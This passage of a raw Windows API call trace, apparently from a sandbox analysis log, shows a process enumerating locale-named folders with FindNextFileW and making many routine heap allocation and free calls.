lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0266.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.936] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.936] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.936] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0266.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.936] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.936] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.936] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0266.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076d78 [0266.936] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.936] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.936] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0266.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.936] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076c10 [0266.937] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.937] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.937] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0266.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x310) returned 0x307de48 [0266.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076c38 [0266.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076c60 [0266.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076c88 [0266.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076cb0 [0266.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e40 [0266.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076df0 [0266.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077020 [0266.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077278 [0266.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077250 [0266.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077228 [0266.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077200 [0266.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30771d8 [0266.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30771b0 [0266.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077188 [0266.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077160 [0266.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077138 [0266.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077110 [0266.937] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30770e8 [0266.938] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30770c0 [0266.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077098 | out: hHeap=0x640000) returned 1 [0266.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x640000) returned 1 [0266.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077070 | out: hHeap=0x640000) returned 1 [0266.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0266.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077340 | out: hHeap=0x640000) returned 1 [0266.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x640000) returned 1 [0266.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f58 | out: hHeap=0x640000) returned 1 [0266.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e90 | out: hHeap=0x640000) returned 1 [0266.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f30 | out: hHeap=0x640000) returned 1 [0266.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077318 | out: hHeap=0x640000) returned 1 [0266.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30772f0 | out: hHeap=0x640000) returned 1 [0266.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30772c8 | out: hHeap=0x640000) returned 1 [0266.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30772a0 | out: hHeap=0x640000) returned 1 [0266.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x640000) returned 1 [0266.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c10 | out: hHeap=0x640000) returned 1 [0266.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30727c0 | out: hHeap=0x640000) returned 1 [0266.938] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076c10 [0266.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.938] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.938] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0266.938] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.938] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.938] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076d78 [0266.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.939] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0266.939] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.939] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.939] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.939] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0266.939] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.939] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.939] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.939] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0266.939] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.939] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.939] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.939] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0266.939] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773e0 | out: hHeap=0x640000) returned 1 [0266.940] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0266.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773e0 [0266.940] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.940] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.941] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.942] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.943] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.943] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.943] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.944] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.944] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.944] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.944] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.944] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.944] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.945] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.945] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.945] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.945] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.945] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.945] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.945] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.945] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.945] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.945] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.945] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.945] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.945] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.945] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.945] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.945] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.945] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, 